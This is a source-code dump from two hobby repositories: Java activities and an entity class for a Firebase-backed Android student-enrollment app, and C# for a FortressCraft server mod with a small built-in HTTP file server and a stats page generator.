LayoutInflater inflater = context.getLayoutInflater();
View linha = inflater.inflate(resource, null);
ViewHolder vHolder = new ViewHolder();
//System.out.println("Professor" + cursos.get(position).getProfessor());
vHolder.txtItemCursoSpinnerM = (TextView) linha.findViewById(R.id.txtItemCursoSpinnerM);
vHolder.txtItemCursoSpinnerM.setText((String) cursos.get(position).getCurso().toString());
return linha;
}
static class ViewHolder{
TextView txtItemCursoSpinnerM;
}
}
<file_sep>/app/src/main/java/com/luke/caseappmatricula/Util/RotasFirebase.java
package com.luke.caseappmatricula.Util;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.storage.StorageReference;
/**
* Created by Lucas on 18/11/2017.
*/
public class RotasFirebase {
public static final String DB_REFERENCE_ALUNOS = "alunos";
public static final String DB_REFERENCE_CURSOS = "cursos";
}
<file_sep>/app/src/main/java/com/luke/caseappmatricula/Activity/CadastroActivity.java
package com.luke.caseappmatricula.Activity;
import android.app.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.graphics.Bitmap;
import android.net.Uri;
import android.provider.MediaStore;
import android.support.annotation.NonNull;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.EditText;
import android.widget.ImageView;
import android.widget.TextView;
import android.widget.Toast;
import com.google.android.gms.tasks.OnCompleteListener;
import com.google.android.gms.tasks.OnFailureListener;
import com.google.android.gms.tasks.OnSuccessListener;
import com.google.android.gms.tasks.Task;
import com.google.firebase.auth.AuthResult;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseAuthInvalidCredentialsException;
import com.google.firebase.auth.FirebaseAuthUserCollisionException;
import com.google.firebase.auth.FirebaseAuthWeakPasswordException;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.storage.FirebaseStorage;
import com.google.firebase.storage.OnProgressListener;
import com.google.firebase.storage.StorageReference;
import com.google.firebase.storage.UploadTask;
import com.luke.caseappmatricula.Entity.Aluno;
import com.luke.caseappmatricula.R;
import com.luke.caseappmatricula.Util.ConfigFirebase;
import com.luke.caseappmatricula.Util.Mensagens;
import com.luke.caseappmatricula.Util.RotasFirebase;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.UUID;
public class CadastroActivity extends Activity implements View.OnClickListener {
private final int IMAGE_REQUEST = 1;
private ImageView imgNewFotoC;
private Uri caminhoFoto;
private String urlFoto;
private EditText edtNomeC, edtEmailC, edtSenhaC;
private Button btnCadastrarC;
private TextView txtLinkLogin;
private FirebaseAuth auth;
private DatabaseReference dbCadastroUsuario;
private StorageReference storage;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_cadastro);
auth = ConfigFirebase.getFirebaseNAuth();
storage = ConfigFirebase.getFirebaseRefStorage();
}
@Override
protected void onResume() {
super.onResume();
imgNewFotoC = findViewById(R.id.imgNewFotoC);
edtNomeC = findViewById(R.id.edtNomeC);
edtEmailC = findViewById(R.id.edtEmailC);
edtSenhaC = findViewById(R.id.edtSenhaC);
btnCadastrarC = findViewById(R.id.btnCadastrarC);
txtLinkLogin = findViewById(R.id.txtLinkLogin);
imgNewFotoC.setOnClickListener(this);
btnCadastrarC.setOnClickListener(this);
txtLinkLogin.setOnClickListener(this);
}
private void validaCampos(){
String nome = edtNomeC.getText().toString();
String email = edtEmailC.getText().toString();
String senha = edtSenhaC.getText().toString();
if(!nome.equals("") && !email.equals("") && !senha.equals("")){
if(caminhoFoto != null){
cadastrarUsuario(nome, email, senha);
}else{
Toast.makeText(getApplicationContext(), Mensagens.SELECIONE_FOTO, Toast.LENGTH_SHORT).show();
}
}else{
Toast.makeText(getApplicationContext(), Mensagens.CAMPOS_VAZIOS, Toast.LENGTH_SHORT).show();
}
}
@Override
public void onClick(View v) {
switch (v.getId()){
case R.id.imgNewFotoC:
capturaFoto();
break;
case R.id.btnCadastrarC:
validaCampos();
break;
case R.id.txtLinkLogin:
returnToLogin();
break;
}
}
private void capturaFoto(){
Intent it = new Intent();
it.setType("image/*");
it.setAction(Intent.ACTION_GET_CONTENT);
startActivityForResult(Intent.createChooser(it, Mensagens.SELECIONE_FOTO), IMAGE_REQUEST);
}
protected void onActivityResult(int requestCode, int resultCode, Intent data) {
super.onActivityResult(requestCode, resultCode, data);
if (requestCode == 1 && resultCode == RESULT_OK && data != null && data.getData() != null) {
caminhoFoto = data.getData();
try {
Bitmap bitmap = MediaStore.Images.Media.getBitmap(getContentResolver(), caminhoFoto);
imgNewFotoC.setImageBitmap(bitmap);
} catch (IOException e) {
e.printStackTrace();
}
}
}
private void cadastrarUsuario(final String nome, final String email, final String senha){
final ProgressDialog progressDialog = new ProgressDialog(this);
progressDialog.setTitle(Mensagens.FAZENDO_UPLOAD_AGUARDE);
auth.createUserWithEmailAndPassword(email, senha)
.addOnCompleteListener(this, new OnCompleteListener<AuthResult>() {
@Override
public void onComplete(@NonNull Task<AuthResult> task) {
if(task.isSuccessful()){
final String id = task.getResult().getUser().getUid();
progressDialog.show();
StorageReference ref = storage.child("imagens/" + System.currentTimeMillis() + "." + caminhoFoto.getLastPathSegment());
ref.putFile(caminhoFoto).addOnSuccessListener(new OnSuccessListener<UploadTask.TaskSnapshot>() {
@Override
public void onSuccess(UploadTask.TaskSnapshot taskSnapshot) {
progressDialog.dismiss();
urlFoto = taskSnapshot.getDownloadUrl().toString();
imgNewFotoC.setImageDrawable(getResources().getDrawable(R.drawable.icnewfoto));
List<String> listaIdCursos = new ArrayList<>();
Aluno aluno = new Aluno(id, nome, email, senha,"","","","", urlFoto, listaIdCursos);
dbCadastroUsuario = ConfigFirebase.getFirebaseRef(RotasFirebase.DB_REFERENCE_ALUNOS);
dbCadastroUsuario.child(id).setValue(aluno);
returnToLogin();
Toast.makeText(CadastroActivity.this, Mensagens.CADASTRO_SUCESSO, Toast.LENGTH_SHORT).show();
}
}).addOnFailureListener(new OnFailureListener() {
@Override
public void onFailure(@NonNull Exception e) {
progressDialog.dismiss();
Toast.makeText(CadastroActivity.this, Mensagens.FALHA_UPLOAD, Toast.LENGTH_SHORT).show();
}
}).addOnProgressListener(new OnProgressListener<UploadTask.TaskSnapshot>() {
@Override
public void onProgress(UploadTask.TaskSnapshot taskSnapshot) {
double progress = (100.0 * taskSnapshot.getBytesTransferred()) / taskSnapshot.getTotalByteCount();
progressDialog.setMessage(Mensagens.CARREGANDO + (int) progress + "%");
}
});
}else{
String erroExcecao = "";
try {
throw task.getException();
} catch (FirebaseAuthWeakPasswordException e) {
erroExcecao = Mensagens.SENHA_FRACA;
} catch (FirebaseAuthInvalidCredentialsException e) {
erroExcecao = Mensagens.EMAIL_INVALIDO;
} catch (FirebaseAuthUserCollisionException e) {
erroExcecao = Mensagens.EMAIL_JA_CADASTRADO;
} catch (Exception e) {
erroExcecao = Mensagens.ERRO_AO_EFETUAR_CADASTRO;
e.printStackTrace();
}
Toast.makeText(CadastroActivity.this, "" + erroExcecao, Toast.LENGTH_SHORT).show();
}
}
});
}
private void returnToLogin(){
Intent it = new Intent(getApplicationContext(), LoginActivity.class);
startActivity(it);
finish();
}
@Override
public void onBackPressed() {
super.onBackPressed();
returnToLogin();
}
}
<file_sep>/app/src/main/java/com/luke/caseappmatricula/Activity/MeuCadastroActivity.java
package com.luke.caseappmatricula.Activity;
import android.app.ProgressDialog;
import android.content.Intent;
import android.support.annotation.NonNull;
import android.support.v7.app.AppCompatActivity;
import android.os.Bundle;
import android.util.Log;
import android.view.View;
import android.widget.Button;
import android.widget.ImageView;
import android.widget.ListView;
import android.widget.TextView;
import android.widget.Toast;
import com.google.firebase.auth.FirebaseAuth;
import com.google.firebase.auth.FirebaseUser;
import com.google.firebase.database.DataSnapshot;
import com.google.firebase.database.DatabaseError;
import com.google.firebase.database.DatabaseReference;
import com.google.firebase.database.FirebaseDatabase;
import com.google.firebase.database.Query;
import com.google.firebase.database.ValueEventListener;
import com.luke.caseappmatricula.Entity.Aluno;
import com.luke.caseappmatricula.R;
import com.luke.caseappmatricula.Util.ConfigFirebase;
import com.luke.caseappmatricula.Util.Mensagens;
import com.luke.caseappmatricula.Util.RotasFirebase;
import com.squareup.picasso.Picasso;
import java.util.ArrayList;
import java.util.List;
public class MeuCadastroActivity extends AppCompatActivity {
private ImageView imgFotoMC;
private TextView txtMatriculaMC, txtNomeMC, txtEmailMC, txtEnderecoMC, txtNumeroMC, txtTefFixoMC, txtCelMC;
private Button btnAlterarC;
private ListView meusCursosList;
private FirebaseAuth auth;
private FirebaseUser user;
private DatabaseReference dbAlunos, dbCursos;
private Aluno mAluno;
private String keyPass, urlFoto;
private List<String> idCursos;
private ProgressDialog progressDialog;
private List<String> list;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_meu_cadastro);
auth = ConfigFirebase.getFirebaseNAuth();
user = ConfigFirebase.getFirebaseCurrentUser();
}
@Override
protected void onStart() {
super.onStart();
progressDialog = new ProgressDialog(this);
progressDialog.setTitle("Carregando suas informações, aguarde...");
progressDialog.show();
imgFotoMC = findViewById(R.id.imgFotoMC);
txtMatriculaMC = findViewById(R.id.txtMatriculaMC);
txtNomeMC = findViewById(R.id.txtNomeMC);
txtEmailMC = findViewById(R.id.txtEmailMC);
txtEnderecoMC = findViewById(R.id.txtEnderecoMC);
txtNumeroMC = findViewById(R.id.txtNumeroMC);
txtTefFixoMC = findViewById(R.id.txtTefFixoMC);
txtCelMC = findViewById(R.id.txtCelMC);
btnAlterarC = findViewById(R.id.btnAlterarC);
resgataDadosDoBanco();
btnAlterarC.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
if(!txtNomeMC.getText().equals("") && !txtEmailMC.getText().equals("")){
String id = user.getUid();
String nome = txtNomeMC.getText().toString();
String email = txtEmailMC.getText().toString();
String senha = <PASSWORD>;
String endereco = txtEnderecoMC.getText().toString();
String numero = txtNumeroMC.getText().toString();
String telFixo = txtTefFixoMC.getText().toString();
String celular = txtCelMC.getText().toString();
list = new ArrayList<>();
mAluno = new Aluno(id, nome, email, senha, endereco, numero, telFixo, celular, urlFoto, list);
goToAlterarCadastro(mAluno);
}else{
Toast.makeText(getApplicationContext(), Mensagens.CARREGAMENTO_DADOS, Toast.LENGTH_SHORT).show();
}
}
});
}
private void resgataDadosDoBanco(){
idCursos = new ArrayList<>();
dbAlunos = ConfigFirebase.getFirebaseRef(RotasFirebase.DB_REFERENCE_ALUNOS);
dbAlunos.child(user.getUid()).addValueEventListener(new ValueEventListener() {
@Override
public void onDataChange(@NonNull DataSnapshot dataSnapshot) {
Aluno a = dataSnapshot.getValue(Aluno.class);
txtNomeMC.setText(a.getNome());
txtEmailMC.setText(a.getEmail());
keyPass = a.getSenha();
txtEnderecoMC.setText(a.getEndereço());
txtNumeroMC.setText(a.getNumero());
txtTefFixoMC.setText(a.getTelFixo());
txtCelMC.setText(a.getCelular());
urlFoto = a.getUrlFoto();
list = a.getCursos();
Picasso.with(MeuCadastroActivity.this).load(a.getUrlFoto()).into(imgFotoMC);
progressDialog.dismiss();
}
@Override
public void onCancelled(DatabaseError databaseError) {
}
});
}
private void goToAlterarCadastro(Aluno aluno){
Intent it = new Intent(MeuCadastroActivity.this, AlterarCadastroActivity.class);
it.putExtra("aluno", aluno);
startActivity(it);
finish();
}
private void goToMenuPrincipal(){
Intent it = new Intent(getApplicationContext(), MenuActivity.class);
startActivity(it);
finish();
}
@Override
public void onBackPressed() {
super.onBackPressed();
finish();
goToMenuPrincipal();
}
}
<file_sep>/app/src/main/java/com/luke/caseappmatricula/Entity/Aluno.java
package com.luke.caseappmatricula.Entity;
import java.io.Serializable;
import java.util.List;
/**
* Created by Lucas on 16/11/2017.
*/
public class Aluno implements Serializable {
private String id;
private String nome;
private String email;
private String senha;
private String endereço;
private String numero;
private String telFixo;
private String celular;
private String urlFoto;
private List<String> cursos;
public Aluno() {
}
public Aluno(String id, String nome, String email, String senha, String endereço, String numero, String telFixo, String celular, String urlFoto, List<String> cursos) {
this.id = id;
this.nome = nome;
this.email = email;
this.endereço = endereço;
this.senha = senha;
this.numero = numero;
this.telFixo = telFixo;
this.celular = celular;
this.urlFoto = urlFoto;
this.cursos = cursos;
}
public String getId() {
return id;
}
public void setId(String id) {
this.id = id;
}
public String getNome() {
return nome;
}
public void setNome(String nome) {
this.nome = nome;
}
public String getEmail() {
return email;
}
public void setEmail(String email) {
this.email = email;
}
public String getSenha() {
return senha;
}
public void setSenha(String senha) {
this.senha = senha;
}
public String getEndereço() {
return endereço;
}
public void setEndereço(String endereço) {
this.endereço = endereço;
}
public String getNumero() {
return numero;
}
public void setNumero(String numero) {
this.numero = numero;
}
public String getTelFixo() {
return telFixo;
}
public void setTelFixo(String telFixo) {
this.telFixo = telFixo;
}
public String getCelular() {
return celular;
}
public void setCelular(String celular) {
this.celular = celular;
}
public String getUrlFoto() {
return urlFoto;
}
public void setUrlFoto(String urlFoto) {
this.urlFoto = urlFoto;
}
public List<String> getCursos() {
return cursos;
}
public void setCursos(List<String> cursos) {
this.cursos = cursos;
}
}
| d367394a3099c758380c33e3417ef94ce3209026 | [
"Java"
] | 5 | Java | albuquerquerlucas/Caseapp | 68af74997b8cefc1bfdf88a3c1be801120ced6ac | 34eb1e419fce58a3d92287820b7e2f5d44978574 |
refs/heads/master | <file_sep>import os
import pandas as pd
import matplotlib.image as mpimg
from PIL import Image#https://yungyuc.github.io/oldtech/python/python_imaging.html
import torchvision.transforms as transforms
import matplotlib.pyplot as plt
import torch
from torch.utils.data import Dataset, DataLoader
import numpy as np
dtype = torch.float32 # we will be using float throughout this tutorial
#the steps of preprocessing
trans_list = [
transforms.RandomRotation(degrees = (0,359)),#
transforms.Resize(280),
transforms.CenterCrop(224),
transforms.RandomHorizontalFlip(0.5), #3
transforms.RandomVerticalFlip(0.5),#4
transforms.ColorJitter(brightness=(0, 3), contrast=(
0, 3), saturation=(0, 5), hue=(0, 0)),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225]),
transforms.RandomErasing(p=0.8, scale=(0.02, 0.02), ratio=(1, 1), value='1234'),
]
preprocess = {
'train': transforms.Compose(trans_list),
'dev': transforms.Compose([
transforms.Resize(280),
transforms.CenterCrop(224),
transforms.ToTensor(),
transforms.Normalize([0.485, 0.456, 0.406], [0.229, 0.224, 0.225])
]),
}
class mango(Dataset):
"""
A customized data loader for mango.
"""
def __init__(self,
pic_root,
label_root,
transform=None,
preload=False,
phase=None):
""" Intialize the dataset
Args:
- root: root directory of the dataset
- tranform: a custom tranform function
- preload: if preload the dataset into memory
"""
super().__init__()
self.images = None
self.sample_pic_path = None
self.train_mango_files = None
self.train_mango_csv = None
self.pic_name = None
self.filenames = []
self.pic_root = pic_root
self.label_root = label_root
self.phase = phase
#https://www.itread01.com/articles/1476166832.html
self.sample_pic_path = os.path.join("."+self.pic_root)
self.train_mango_files = os.listdir(self.sample_pic_path)
self.train_mango_csv = pd.read_csv("."+self.label_root, encoding='utf-8')
self.pic_name=self.train_mango_csv['image_id']#series
self.pic_name=list(self.pic_name)
# print(len(self.train_mango_files))#800
for fn in self.train_mango_files:
if 'jpg' in fn:
k = self.train_mango_csv[self.train_mango_csv['image_id']==fn].index.tolist()[0]
self.filenames.append((fn, self.train_mango_csv['label'][k])) # (filename, label) pair
# if preload dataset into memory
if preload:
self._preload()
if self.phase == "train":
self.len = len(self.filenames) * 2
elif self.phase == "dev":
self.len = len(self.filenames)
def _preload(self):
self.images = []
#把所有檔案名字對到label的東西取出來preload
for image_fn, label in self.filenames:
# load images
if label == 'A':
label = 0
elif label == 'B':
label = 1
elif label == 'C':
label = 2
image = Image.open('.'+self.pic_root+"/"+image_fn)
# image = mpimg.imread(self.pic_root+"/"+image_fn)
# print(type(image))
# avoid too many opened files bug
#抓出來複製,然後再丟進images,最後再關掉
image = image.copy()
if self.phase == "train":
#preprocessing1
trans_list[3] = transforms.RandomHorizontalFlip(0) #3
trans_list[4] = transforms.RandomVerticalFlip(0)#4
preprocess["train"] = transforms.Compose(trans_list)
image1 = preprocess["train"](image)
# print(0, end = '')
#preprocessing2
trans_list[3] = transforms.RandomHorizontalFlip(1) #3
trans_list[4] = transforms.RandomVerticalFlip(1)#4
preprocess["train"] = transforms.Compose(trans_list)
image2 = preprocess["train"](image)
# print(1, end = '')
self.images.append([image1, label])
self.images.append([image2, label])
# print(2, end = '')
elif self.phase == "dev" or "val" or "test":
image = preprocess["dev"](image)
self.images.append([image, label])
else :
print("you had wrong 'phase'")
def __getitem__(self, index):
#index是指他在用next時會不斷迭代,從0開始不段增加
#可以先看一下最最最下面的例子
#https://medium.com/citycoddee/python%E9%80%B2%E9%9A%8E%E6%8A%80%E5%B7%A7-6-%E8%BF%AD%E4%BB%A3%E9%82%A3%E4%BB%B6%E5%B0%8F%E4%BA%8B-%E6%B7%B1%E5%85%A5%E4%BA%86%E8%A7%A3-iteration-iterable-iterator-iter-getitem-next-fac5b4542cf4
""" Get a sample from the dataset
"""
if self.images != []:
# If dataset is preloaded
image, label = self.images[index]
else:
# If on-demand data loading
image_fn, label = self.filenames[index]
image = Image.open(image_fn)
# May use transform function to transform samples
# e.g., random crop, whitening
return image, label
def __len__(self):
"""
Total number of samples in the dataset
"""
return self.len
<file_sep># The idea of mango competition

## FOR TRAINING:
### main_1batch.ipynb :
Due to the lackness of RAM, its goal is loading raw data and preprocessing them into shape “2800, 3, 224, 224” for each batch with type1 data argumentation, and save them in ’dataset/trainX_batch1.pt’, ‘dataset/trainy_batch1.pt’...’’dataset/trainX_batch4.pt’, ‘dataset/trainy_batch4.pt’ respectively.
### main_2batch.ipynb :
Due to the lackness of RAM, its goal is loading raw data and preprocessing them into shape “2800, 3, 224, 224” for each batch with type2 data argumentation.and save them in ’dataset/trainX_batch5.pt’, ‘dataset/trainy_batch5.pt’...’dataset/trainX_batch8.pt’, ‘dataset/trainy_batch8.pt’ respectively.
### stacking1_model1.ipynb :
Due to the lackness of RAM, I cannot import all data at a time, so I split it into 2 parts, the first part is for the outcome in main_1batch.ipynb.After importing all data, its time to construct model1, save the model parameters and optimizer into “model_param/resnet_cv_dev1”, and the same as other files named “stacking1_model2~4”.
### stacking1_model5.ipynb :
Due to the lackness of RAM, I cannot import all data at a time, so I split it into 2 parts, the second part is for the outcome in main_2batch.ipynb.After importing all data, its time to construct model5, save the model parameters and optimizer into “model_param/vgg_cv_dev5”, and the same as other files named “stacking1_model5~8”.
### stacking1_save_trainA_metadata.ipynb :
we can consider the new batches from main_1batch.ipynb as A, just for easier to note. Now, in this file, we will construct the metadata with those models we trained just. use model1~4 to do feature extraction in dataA, and stacking all the features, we will obtain metadatas named “metadata1”, labels are similar as above, named “metalabels1”.
### stacking1_save_trainB_metadata.ipynb :
we can consider the new batches from main_2batch.ipynb as B, just for easier to note. Now, in this file, we will construct the metadata with those models we trained . We use model5~8 to do feature extraction in dataB, and stacking all the features, we will obtain metadatas named “metadata2”, labels are similar as above, named “metalabels2”.
### stacking2_model1.ipynb :
this file imports “metadata1” and “metalabels1” and training the model with logisticregression, and save the model and outcome into “model_params/stacking2_logistic1” and “dataset/metaX_train1_stacking2” respectively. Labels are the same as above.
### stacking2_model2.ipynb :
this file imports “metadata2” and “metalabels2” and training the model with logisticregression, and save the model and outcome into “model_paramsmodel_params/stacking2_logistic2” and “dataset/metaX_train2_stacking2” respectively. Labels are the same as above.
### stacking3_model.ipynb :
we can load the data “metaX_train1_stacking” and “metaX_train2_stacking2”, and stack them vertically, now we have a matrix with shape “22400, 3”, training a model with lightGBM(“model_params/lgbm.pkl”), and testing with dev set, get 77.625% accuracy, and the dev set will demonstrate below.
## FOR TESTING:
### stacking1_save_dev_metadata.ipynb:
load all model we trained, and put all data into model1 to model4, named “dataset/metaX_dev1" and initial labels “dataset/metay_dev1"; put all data into model5 to model8, named “dataset/metaX_dev2" and initial labels “dataset/metay_dev2".
### stacking2_model1.ipynb :
Do you remember the logisticregression model above in A? Here,“dataset/metadata1" and “dataset/metalabel1” are training data here, and testing data is “dataset/metaX_dev1" and “dataset/metay_dev1” , and the outputs are in “metaX_train1_stacking2”, “metaX_test1_stacking2” respectively, and the same as labels.
### stacking3_model.ipynb :
For testing, we will load the dataset "dataset/metaX_test1_stacking2” and "dataset/metaX_test2_stacking2” from partA and partB respectively, here we won’t stack them just like training data above, we add they both, and divide by 2 because they both are the same datas in fact.
| 964f121424ed25546e1b1704ce8ca290f6963cd4 | [
"Markdown",
"Python"
] | 2 | Python | tim-pan/mango_class | 94667003538e65bfbebe283abf0cd652ab671662 | ebf5963524187c4fb5040a80b38edf8cc15f3375 |
refs/heads/master | <file_sep>import React, { Component } from 'react';
import {
View,
StyleSheet,
Text,
Image
} from 'react-native';
import TabNavigator from 'react-native-tab-navigator';
const HOTIMG = require('../images/bottomtab/hot.png');
const HOTIMG_FOCUS = require('../images/bottomtab/hot-ac.png');
const EYEIMG = require('../images/bottomtab/browse.png');
const EYEIMG_FOCUS = require('../images/bottomtab/browse-ac.png');
const MEIMG = require('../images/bottomtab/account.png');
const MEIMG_FOCUS = require('../images/bottomtab/account-ac.png');
const HOT = {
prop: 'hot',
label : '热映'
}
const EYE = {
prop:'eye',
label:'找片'
}
const ME = {
prop:'me',
label:'我的'
}
export default class BottomTab extends Component {
constructor(props) {
super(props);
this.state = { selectedTab: HOT.prop }
}
_renderTabItem(img, selectedImg, tag, childView) {
return (
<TabNavigator.Item
selected={this.state.selectedTab === tag.prop}
title={tag.label}
titleStyle={styles.titleStyle}
selectedTitleStyle={styles.selectedTitleStyle}
renderIcon={() => <Image style={styles.tabIcon} source={img} />}
renderSelectedIcon={() => <Image style={styles.tabIcon} source={selectedImg} />}
onPress={() => this.setState({ selectedTab: tag.prop })}>
{childView}
</TabNavigator.Item>
);
}
_createChildView(tag) {
return (
<View style={{ flex: 1, backgroundColor: '#00baff', alignItems: 'center', justifyContent: 'center' }}>
<Text style={{ fontSize: 22 }}>{tag.label}</Text>
</View>
)
}
render() {
return (
<TabNavigator tabBarStyle={styles.tab}>
{this._renderTabItem(HOTIMG, HOTIMG_FOCUS, HOT, this._createChildView(HOT))}
{this._renderTabItem(EYEIMG, EYEIMG_FOCUS, EYE, this._createChildView(EYE))}
{this._renderTabItem(MEIMG, MEIMG_FOCUS, ME, this._createChildView(ME))}
</TabNavigator>
);
}
}
const styles = StyleSheet.create({
tab: {
height: 52,
backgroundColor: '#fff',
alignItems: 'center'
},
tabIcon: {
width: 25,
height: 25,
resizeMode: 'stretch',
marginTop: 10
},
titleStyle:{
color:'#9b9b9b'
},
selectedTitleStyle:{
color:'#494949'
},
}); <file_sep>import React, { Component } from 'react';
import {
Image,
TextInput,
View,
StyleSheet,
Platform
} from 'react-native';
export default class Header extends Component {
render() {
return (
<View style={styles.header}>
<Image source={require('../images/header/logo.png')} style={styles.logo} />
<View style={styles.searchBox}>
<Image source={require('../images/header/icon_search.png')} style={styles.searchIcon} />
<TextInput
keyboardType='web-search'
placeholder='电影/电视剧/影人'
underlineColorAndroid='transparent'
style={styles.inputText} />
</View>
</View>
)
}
}
const styles = StyleSheet.create({
header: {
flexDirection: 'row',
paddingLeft: 10,
paddingRight: 10,
paddingTop: Platform.OS === 'ios' ? 20 : 30, // 处理iOS状态栏
height: Platform.OS === 'ios' ? 68 : 78, // 处理iOS状态栏
backgroundColor: '#fff',
alignItems: 'center'
},
logo: {
height: 22,
width: 46,
resizeMode: 'stretch' // 设置拉伸模式
},
searchBox: {
height: 40,
flexDirection: 'row',
flex: 1, // 类似于android中的layout_weight,设置为1即自动拉伸填充
borderRadius: 5, // 设置圆角边
backgroundColor: '#f5f5f5',
alignItems: 'center',
marginLeft: 8,
marginRight: 12,
justifyContent:'center'
},
searchIcon: {
marginLeft: 20,
marginRight: 10,
width: 16,
height: 16,
resizeMode: 'stretch'
},
voiceIcon: {
marginLeft: 5,
marginRight: 8,
width: 15,
height: 20,
resizeMode: 'stretch'
},
inputText: {
flex: 1,
backgroundColor: '#f5f5f5',
fontSize: 14,
color:'#111',
textDecorationLine:'none'
}
});
<file_sep># douban-movie-react-native
:movie_camera:模仿豆瓣电影App的RN应用
| 2be9bbaa1245a2c0253fbde7931f2e4476f354f5 | [
"JavaScript",
"Markdown"
] | 3 | JavaScript | Eamonnzhang/douban-movie-react-native | d10d024aca6412d34bc916e1f3b03bb22f52c807 | f093b55a12565685638380204f2ea75edd850841 |
refs/heads/master | <repo_name>pacas00/Pacas00-s-Server-Utils<file_sep>/plugin_pacas00_server/plugin_pacas00_server.cs
using plugin_pacas00_server.commands;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
using System.Threading.Tasks;
using UnityEngine;
namespace plugin_pacas00_server
{
public class plugin_pacas00_server: FortressCraftMod
{
//ServerConsole - real console
//GameManager - Game Stats
public plugin_pacas00_server()
{
}
public static int LFU_Updates_Per_Second = 5; // assuming that the LFU updates happen 5 times a second.
public static int triggerCounter = 0;
public static int triggerCounterMax = LFU_Updates_Per_Second * 15; //debug; fast update every 15 seconds
bool networkSetupComplete = false;
bool worldSetupComplete = false;
public static string workingDir;
public static HTTPServ HTTPServer = null;
public override void LowFrequencyUpdate()
{
if(worldSetupComplete == false)
if(WorldScript.instance != null)
{
if(WorldScript.instance.mWorldData != null)
{
worldSetupComplete = true;
Settings.SaveSettings();
}
}
if(networkSetupComplete == false)
if(NetworkManager.instance != null)
{
if(NetworkManager.instance.mServerThread != null)
{
networkSetupComplete = true;
//Network Side
Settings.ApplyServerSettings();
if(Settings.Instance.settings.HTTPServerEnabled == 1)
{
Directory.CreateDirectory(workingDir + Path.DirectorySeparatorChar + "webroot");
HTTPServer = new HTTPServ(workingDir + Path.DirectorySeparatorChar + "webroot", Settings.Instance.settings.HTTPServerPort);
HTTPServer.Start();
}
}
}
if(triggerCounter < triggerCounterMax)
{
triggerCounter++;
}
else
{
try
{
triggerCounter = 0;
//List<NetworkServerConnection> playerConns = NetworkManager.instance.mServerThread.GetConnections();
//if (playerConns.Count > 0)
//{
// Players.clearPlayers();
// foreach (NetworkServerConnection conn in playerConns)
// {
// ServerConsole.DoServerString(conn.mPlayer.mUserName);
// if (conn.mPlayer.mbHasGameObject)
// {
// //Access to Player :D
// Players.addPlayer(conn.mPlayer);
// }
// }
//}
if(Settings.Instance.settings.statsEnabled == 1)
{
if(Settings.Instance.settings.statsMode == 0 || Settings.Instance.settings.statsMode == 2)
{
//Stats
StatsHTML.GenerateHTML("Template.html", Settings.Instance.settings.StatsSaveFileName);
}
if(Settings.Instance.settings.statsMode == 1 || Settings.Instance.settings.statsMode == 2)
{
//Banner
StatsHTML.GenerateHTML("TemplateBanner.html", Settings.Instance.settings.BannerSaveFileName);
}
}
}
catch(Exception e)
{
ServerConsole.DoServerString(e.Message);
}
}
}
public void Start()
{
UtilClass.WriteLine("Loading...");
foreach(ModConfiguration current in ModManager.mModConfigurations.Mods)
{
if(current.Id.Contains(UtilClass.modId) || current.Name == UtilClass.modName)
{
workingDir = current.Path;
Settings.Initialise();
break;
}
}
UtilClass.WriteLine("Loaded!");
}
public new void StopAllCoroutines()
{
if(HTTPServer != null)
{
HTTPServer.Stop();
}
try
{
((MonoBehaviour)this).StopAllCoroutines();
}
catch { }
}
}
}
<file_sep>/plugin_pacas00_server/HTTPServ.cs
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Net;
using System.Text;
using System.Threading;
using System.Threading.Tasks;
namespace plugin_pacas00_server
{
public class HTTPServ
{
private System.Threading.Thread _serverListenThread;
private string _directory;
private HttpListener _listener;
private int _port;
private bool running;
public static string[] defaultFiles = { "index.html", "index.htm", "home.htm", "home.html", "stats.htm", "stats.html", "banner.htm", "banner.html" };
public int Port
{
get { return _port; }
private set { _port = value; }
}
public HTTPServ(string directory, int port = 80)
{
_directory = directory;
Port = port;
_listener = new HttpListener();
_listener.Prefixes.Add("http://*:" + _port.ToString() + "/");
}
private void Process(HttpListenerContext context)
{
string requestedFile = context.Request.Url.AbsolutePath.Substring(1);
if(string.IsNullOrEmpty(requestedFile))
{
//Index files time
foreach(string fname in defaultFiles)
{
if(File.Exists(Path.Combine(_directory, fname)))
{
requestedFile = fname;
break;
}
}
}
requestedFile = Path.Combine(_directory, requestedFile);
if(File.Exists(requestedFile))
{
try
{
using(Stream filedata = new FileStream(requestedFile, FileMode.Open))
{
string mimetype;
MIME_TYPES.TryGetValue(Path.GetExtension(requestedFile), out mimetype);
if(string.IsNullOrEmpty(mimetype)) mimetype = HTML_RESPONSE_CONTENT_TYPE; //Default
context.Response.StatusCode = (int)HttpStatusCode.OK;
context.Response.ContentLength64 = filedata.Length;
context.Response.ContentType = mimetype;
byte[] buffer = new byte[1024 * 8];
int byteCount;
while((byteCount = filedata.Read(buffer, 0, buffer.Length)) > 0)
{
context.Response.OutputStream.Write(buffer, 0, byteCount);
}
context.Response.OutputStream.Flush();
}
}
catch(Exception ex)
{
context.Response.StatusCode = (int)HttpStatusCode.InternalServerError;
UtilClass.WriteLine(ex);
}
}
else
{
context.Response.StatusCode = (int)HttpStatusCode.NotFound;
}
context.Response.OutputStream.Close();
}
public void Start()
{
running = true;
_serverListenThread = new Thread(this.serverLoop);
_serverListenThread.Start();
UtilClass.WriteLine("Web Server Started");
}
public void serverLoop()
{
_listener.Start();
while(running)
{
try
{
HttpListenerContext context = _listener.GetContext();
Process(context);
}
catch(Exception ex)
{
UtilClass.WriteLine(ex);
}
}
}
public void Stop()
{
UtilClass.WriteLine("Web Server Stopping");
